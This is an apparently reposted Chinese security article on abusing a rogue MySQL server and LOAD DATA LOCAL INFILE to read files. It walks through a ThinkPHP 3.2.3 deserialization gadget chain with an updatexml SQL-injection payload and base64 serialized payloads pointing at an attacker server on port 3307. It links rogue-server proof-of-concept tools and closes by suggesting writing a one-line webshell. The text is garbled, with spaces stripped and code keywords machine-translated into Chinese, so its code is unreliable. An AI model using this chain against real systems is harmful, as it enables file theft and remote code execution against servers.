当前位置: 首页 > 科技观察

MySQL恶意服务器读取文件原理简析

时间:2023-03-11 20:38:59 科技观察

前言搭建一个MySQL恶意服务器读取文件,虽然直接使用的门槛比较高,但是因为在网上看到了比较新的使用方式(利用社会工程学引诱用户连接MySQL然后读取用户文件),个人觉得比较有意思,总结了攻击原理和攻击方法,所以才有了这篇文章。原理在讲解具体原理之前,先介绍几条SQL语句,方便后面的理解。首先在tmp目录下新建一个tmp.txt。内容如下:然后执行如下SQL语句导入tmp.txt文件mysql>loaddatalocalinfile"/tmp/tmp.txt"intotabletestfieldsterminatedby'\n';QueryOK,3受影响的行(2.63秒)记录:3已删除:0已跳过:0警告:0mysql>select*fromTest;+------+|姓名|+------+|管理员||用户||Lxxx|+--------+3rowsinset(0.00sec)loaddatalocalinfile语句将读取客户端的本地文件。loaddatainfile语句将读取服务器的本地文件。通过某种字符切分的方式终止,默认是Tab,这里我设置为\n,这时候可能会分不清,什么是服务端,什么是客户端?因为一般情况下,调试SQL是在本机,数据库也在本机。这种情况下,客户端和服务端都是本地的,有点难以区分。下面我用一张图来简单描述一下。在本地,由于客户端和服务器在同一个磁盘下,所以无论是否添加local,都可以将文件传输到本地数据库。后面会讲到利用MySQL恶意服务器读取文件的漏洞。需要使用local来达到把文件带出来的目的。下面我画了两张图,第一张图是正常的业务流程,第二张图是攻击者的恶意攻击流程。正常的后台业务流程如下:当攻击者劫持后台服务器,构建恶意MySQL后,流程图如下:这样,攻击者就可以达到下载任意文件的目的后端。演示虽然在之前的CTF比赛中也出现过类似的题目,但我还是利用了ThinkPHP3.2.3中的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,然后是RCE样本。首先在本地启动一个ThinkPHP3.2.3框架,连接数据库,在Application/Home/Controller/HelloController.class.php控制器中写入一个反序列化入口。true//启动才能读取文件);protected$config=array("debug"=>1,"database"=>"tp323","hostname"=>"127.0.0.1","hostport"=>"8889","charset"=>"utf8","用户名"=>"root","密码"=>"root");}}命名空间Think\Image\Driver{使用Think\Session\Driver\Memcache;类Imagick{私人$img;公共函数__construct(){$this->img=newMemcache();}}}命名空间Think\Session\Driver{使用Think\Model;类Memcache{protected$handle;公共函数__construct(){$this->handle=newModel();}}}命名空间Think{使用Think\Db\Driver\Mysql;类模型{受保护的$选项protected$pk;protected$data=array();protected$db=null;publicfunction__construct(){$this->db=newMysql();$this->options['where']='';$this->pk='id';$this->data[$this->pk]=array("table"=>"tp_userwhere1=updatexml(1,concat(0x7e,version(),0x7e),1)#","where"=>"1=1");}}}namespace{echobase64_encode(serialize(newThink\Image\Driver\Imagick()));}Thedatabaseinthechainabove信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19传给url可以看到报错注入成功,然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器Createamaliciousconnectionandgetthefilesyouwant.Hereareafewconnections.SomeprojectsmaynotbeavailableinthenewMySQLversionhttps://github.com/Gifts/Rogue-MySql-Serverhttps://github.com/allyshka/Rogue-MySql-Serverhttps://github.com/jas502n/CVE-2019-12086-jackson-databind-file-readAfterdownloadingthePOC,modifythefilenametoberead.ThenusePythontostart.Afterthestartupiscomplete,themaliciousMySQLislisteningtoport3307pythonrogue_mysql_server.pyNext,modifythepreviouschain,changetheIPandporttotheremotemaliciousMySQLaddress,andthengenerateachain.true//启动才能读取文件);protected$config=array("debug"=>1,"database"=>"tp323","hostname"=>"1.1.1.1","hostport"=>"3307","charset"=>"utf8","用户名"=>"root","密码"=>"root");}}命名空间Think\Image\Driver{使用Think\Session\Driver\Memcache;类Imagick{私人$img;公共函数__construct(){$this->img=newMemcache();}}}命名空间Think\Session\Driver{使用Think\Model;类Memcache{protected$handle;公共函数__construct(){$this->handle=newModel();}}}命名空间Think{使用Think\Db\Driver\Mysql;类模型{受保护的$options=大批();受保护的$pk;受保护的$data=array();受保护的$db=null;公共函数__construct(){$this->db=newMysql();$this->options['where']='';$this->pk='id';$this->data[$this->pk]=array("table"=>"tp_userwhere1=updatexml(1,concat(0x7e,version(),0x7e),1)#","where"=>“1=1”);}}}namespace{echobase64_encode(serialize(newThink\Image\Driver\Imagick()));}得到:TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==传给HomeController控制器,然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshellup.Theusescenariocanhijacktheback-endserver,butwhenthegetshellcannotbeused,thismethodcanbeusedtogetshell(forexample,theexploitchainofThinkPHP3.)